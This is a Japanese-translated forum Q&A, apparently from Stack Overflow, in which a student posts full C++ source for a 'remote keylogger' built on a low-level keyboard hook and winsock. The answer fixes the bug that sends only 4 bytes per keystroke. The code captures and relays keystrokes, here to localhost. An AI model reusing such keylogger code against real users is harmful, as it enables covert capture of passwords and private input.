1

ネットワーク経由でデータを送信する必要があるアプリケーションを作成しています。申請は完了しましたが、データの送信に問題があります。データを送るたびに4文字で途切れて残りがゴミ。このアプリケーションは、私が学校のプロジェクト用に書いているリモート キーロガーであり、フックと winsock の使用方法を示す必要があります。フォーラムで助けを求めることができます。どんな助けでも大歓迎です!

コードは次のとおりです。

サーバ:

 // rkl.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "rkl.h"
#include <windows.h>
#include <stdio.h>

SOCKET kSock;
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{



WSAData wsdata; 
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 

if(nret != 0)
{
    MessageBoxA(0,"Error 0","Error",MB_OK);
WSACleanup(); 
return -1;
}


kSock=socket(AF_INET, SOCK_STREAM, 0);


if(kSock == INVALID_SOCKET)
{
MessageBoxA(0,"Error 1","Error",MB_OK);
return -1;
}


sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;

if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{ 
MessageBoxA(0,"Error 2","Error",MB_OK);
WSACleanup(); 
return -1;
}


HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);

char buf1[256];
char* buf = buf1;
buf = "Test";
send(kSock,buf,sizeof(buf),0);

MessageBoxA(0,"Press ok to stop logging.","Waiting...",MB_OK);

closesocket(kSock);
return 0;



}




LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);


    if (wParam == WM_KEYDOWN) {
        char* buf;
char tl[256];
buf = tl;
buf = itoa(p->vkCode,buf,10);
int tmp;

tmp = atoi(buf);

if(tmp != 0)
{
        switch (tmp) {


case VK_BACK:      buf =  "<BACKSPACE>";       break;
case VK_TAB:      buf =  "<TAB>";       break;
case VK_CLEAR:      buf =  "<CLEAR>";       break;
case VK_RETURN:      buf =  "<ENTER>";       break;
case VK_SHIFT:      buf =  "<SHIFT>";       break;
case VK_CONTROL:      buf =  "<CTRL>";       break;
case VK_MENU:      buf =  "<ALT>";       break;
case VK_PAUSE:      buf =  "<PAUSE>";       break;
case VK_CAPITAL:      buf =  "<CAPS LOCK>";       break;
case VK_ESCAPE:      buf =  "<ESC>";       break;
case VK_SPACE:      buf =  "<SPACEBAR>";       break;
case VK_PRIOR:      buf =  "<PAGE UP>";       break;
case VK_NEXT:      buf =  "<PAGE DOWN>";       break;
case VK_END:      buf =  "<END>";       break;
case VK_HOME:      buf =  "<HOME>";       break;
case VK_LEFT:      buf =  "<LEFT ARROW>";       break;
case VK_UP:      buf =  "<UP ARROW>";       break;
case VK_RIGHT:      buf =  "<RIGHT ARROW>";       break;
case VK_DOWN:      buf =  "<DOWN ARROW>";       break;
case VK_SELECT:      buf =  "<SELECT>";       break;
case VK_PRINT:      buf =  "<PRINT>";       break;
case VK_EXECUTE:      buf =  "<EXECUTE>";       break;
case VK_SNAPSHOT:      buf =  "<PRINT SCREEN>";       break;
case VK_INSERT:      buf =  "<INSERT>";       break;
case VK_DELETE:      buf =  "<DEL>";       break;
case VK_HELP:      buf =  "<HELP>";       break;
case VK_LWIN:      buf =  "<Left Windows key>";       break;
case VK_RWIN :      buf =  "<Right Windows key>";       break;
case VK_APPS:      buf =  "<Applications key>";       break;
case VK_SLEEP:      buf =  "<Computer Sleep key>";       break;
case VK_NUMPAD0:      buf =  "0";       break;
case VK_NUMPAD1:      buf =  "1";       break;
case VK_NUMPAD2:      buf =  "2";       break;
case VK_NUMPAD3:      buf =  "3";       break;
case VK_NUMPAD4:      buf =  "4";       break;
case VK_NUMPAD5:      buf =  "5";       break;
case VK_NUMPAD6:      buf =  "6";       break;
case VK_NUMPAD7:      buf =  "7";       break;
case VK_NUMPAD8:      buf =  "8";       break;
case VK_NUMPAD9:      buf =  "9";       break;
case VK_MULTIPLY:      buf =  "*";       break;
case VK_ADD:      buf =  "+";       break;
case VK_SEPARATOR:      buf =  "<Separator key>";       break;
case VK_SUBTRACT:      buf =  "-";       break;
case VK_DECIMAL:      buf =  ".";       break;
case VK_DIVIDE:      buf =  "/";       break;
case VK_F1:      buf =  "<F1>";       break;
case VK_F2:      buf =  "<F2>";       break;
case VK_F3:      buf =  "<F3>";       break;
case VK_F4:      buf =  "<F4>";       break;
case VK_F5:      buf =  "<F5>";       break;
case VK_F6:      buf =  "<F6>";       break;
case VK_F7:      buf =  "<F7>";       break;
case VK_F8:      buf =  "<F8>";       break;
case VK_F9:      buf =  "<F9>";       break;
case VK_F10:      buf =  "<F10>";       break;
case VK_F11:      buf =  "<F11>";       break;
case VK_F12:      buf =  "<F12>";       break;
case VK_NUMLOCK:      buf =  "<NUM LOCK>";       break;
case VK_SCROLL:      buf =  "<SCROLL LOCK>";       break;
case VK_LSHIFT:      buf =  "<Left SHIFT>";       break;
case VK_RSHIFT:      buf =  "<Right SHIFT>";       break;
case VK_LCONTROL:      buf =  "<Left CONTROL>";       break;
case VK_RCONTROL:      buf =  "<Right CONTROL>";       break;
case VK_LMENU:      buf =  "<Left MENU>";       break;
case VK_RMENU:      buf =  "<Right MENU>";       break;
case VK_BROWSER_BACK:      buf =  "<Browser Back key>";       break;
case VK_BROWSER_FORWARD:      buf =  "<Browser Forward key>";       break;
case VK_BROWSER_REFRESH:      buf =  "<Browser Refresh key>";       break;
case VK_BROWSER_STOP:      buf =  "<Browser Stop key>";       break;
case VK_BROWSER_SEARCH:      buf =  "<Browser Search key >";       break;
case VK_BROWSER_FAVORITES:      buf =  "<Browser Favorites key>";       break;
case VK_BROWSER_HOME:      buf =  "<Browser Start and Home key>";       break;
case VK_VOLUME_MUTE:      buf =  "<Volume Mute key>";       break;
case VK_VOLUME_DOWN:      buf =  "<Volume Down key>";       break;
case VK_VOLUME_UP:      buf =  "<Volume Up key>";       break;
case VK_MEDIA_NEXT_TRACK:      buf =  "<Next Track key>";       break;
case VK_MEDIA_PREV_TRACK:      buf =  "<Previous Track key>";       break;
case VK_MEDIA_STOP:      buf =  "<Stop Media key>";       break;
case VK_MEDIA_PLAY_PAUSE:      buf =  "<Play/Pause Media key>";       break;
case VK_LAUNCH_MAIL:      buf =  "<Start Mail key>";       break;
case VK_LAUNCH_MEDIA_SELECT:      buf =  "<Select Media key>";       break;
case VK_LAUNCH_APP1:      buf =  "<Start Application 1 key>";       break;
case VK_LAUNCH_APP2:      buf =  "<Start Application 2 key>";       break;
case VK_OEM_1:      buf =  "<;:' key >";       break;
case VK_OEM_PLUS:      buf =  "+";       break;
case VK_OEM_COMMA:      buf =  ",";       break;
case VK_OEM_MINUS:      buf =  "-";       break;
case VK_OEM_PERIOD:      buf =  ".";       break;
case VK_OEM_2:      buf =  "</?' key >";       break;
case VK_OEM_3:      buf =  "<`~' key >";       break;
case VK_OEM_4:      buf =  "<[{' key>";       break;
case VK_OEM_5:      buf =  "<\|' key>";       break;
case VK_OEM_6:      buf =  "<]}' key>";       break;
case VK_OEM_7:      buf =  "<single-quote/double-quote' key>";       break;
case VK_OEM_CLEAR:      buf =  "<Clear>";       break;




            default:
            buf[0] = char(tmp);
            buf[1] = char(0);
            buf[2] = char(0);
            buf[3] = char(0);
            buf[4] = char(0);
            buf[5] = char(0);
            buf[6] = char(0);
            buf[7] = char(0);
            buf[8] = char(0);


        }


send(kSock,buf,sizeof(buf),0);
}

    return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
}

クライアント:

// lkv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h> 
#include <iostream>

int main()
{

WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); 
int nret=WSAStartup(wsver, &wsdata); 
if(nret != 0){ 
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); 
WSACleanup(); 
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=INADDR_ANY;
sin.sin_family=AF_INET;
if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){
std::cout<<"Failed to bind\n";
WSACleanup(); 
return -1;
}
std::cout<<"Bind successful!\n";
while (listen(kSock, SOMAXCONN) == SOCKET_ERROR); 
SOCKET client;
int len = sizeof(sin);
client=accept(kSock, (sockaddr*)&sin, &len);
std::cout<<"Connection established!\n";
int i;



for(;;)
{
char buf[22];
recv(client, buf, sizeof(buf), 0); 
std::cout << buf;
}


closesocket(client); 
closesocket(kSock);
WSACleanup();
return 0;
}
4

1 に答える 1

7

サーバー側では、送信行は次のとおりです。

send(kSock,buf,sizeof(buf),0);

buf は char* です。あなたの場合の char* のサイズは 4 バイトであるため、strlen(buf)+1 であるバッファーのサイズを実際に送信したい場合は、send に 4 バイトのデータを送信するように指示しています (プラス 1 は文字列の終端のゼロを含めます)。

于 2008-12-23T23:45:11.143 に答える